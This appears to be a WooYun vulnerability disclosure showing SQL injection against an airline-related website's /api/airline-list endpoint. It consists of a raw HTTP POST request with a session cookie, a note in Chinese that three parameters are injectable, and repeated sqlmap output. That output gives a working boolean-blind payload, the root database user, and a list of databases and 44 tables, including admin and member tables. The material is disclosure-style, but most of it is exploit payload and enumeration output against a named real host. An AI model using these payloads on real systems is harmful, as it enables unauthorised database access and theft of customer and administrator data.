WooYun.org

POST /api/airline-list HTTP/1.1
Content-Length: 48
Content-Type: application/x-www-form-urlencoded
Referer: http://pyh.luckyair.net:80/
Cookie: ASP.NET_SessionId=olbz3w0sx2z5x1jhnwkvfds3
Host: pyh.luckyair.net
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
ap=1'%22&dp=%E6%98%86%E6%98%8E&p=1&sd=2015-11-27

问题参数：ap dp sd 三处参数都存在问题

dp参数问题

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: ap (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: ap=-3974' OR 6828=6828#&dp=%E6%98%86%E6%98%8E&p=1&sd=2015-11-27
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: MySQL 5
current database:    'ticketdb'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: ap (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: ap=-3974' OR 6828=6828#&dp=%E6%98%86%E6%98%8E&p=1&sd=2015-11-27
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: MySQL 5
current user:    'root@localhost'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: ap (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: ap=-3974' OR 6828=6828#&dp=%E6%98%86%E6%98%8E&p=1&sd=2015-11-27
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: MySQL 5
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] test
[*] ticketdb
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: ap (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: ap=-3974' OR 6828=6828#&dp=%E6%98%86%E6%98%8E&p=1&sd=2015-11-27
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: MySQL 5
Database: ticketdb
[44 tables]
+------------------------+
| info_adv               |
| npc_dict_group         |
| npc_dict_item          |
| npc_info_content_page  |
| npc_info_group         |
| npc_notice_info        |
| npc_notice_push_record |
| npc_sys_action_detail  |
| npc_sys_action_log     |
| npc_sys_admin_info     |
| npc_sys_authorization  |
| npc_sys_config         |
| npc_sys_exception_log  |
| npc_sys_link_user_org  |
| npc_sys_link_user_role |
| npc_sys_member_data    |
| npc_sys_member_info    |
| npc_sys_menu           |
| npc_sys_org_group      |
| npc_sys_org_info       |
| npc_sys_role_info      |
| npc_sys_user_data      |
| npc_sys_user_info      |
| shop_address           |
| shop_brand             |
| shop_cart              |
| shop_category          |
| shop_comment           |
| shop_commodity         |
| shop_commodity_detail  |
| shop_commodity_price   |
| shop_consultation      |
| shop_favorite          |
| shop_logs              |
| shop_order             |
| shop_order_flow        |
| shop_order_item        |
| shop_packages          |
| shop_pay_item          |
| shop_pay_list          |
| shop_paylist           |
| shop_sale              |
| shop_service_order     |
| shop_supplier_info     |
+------------------------+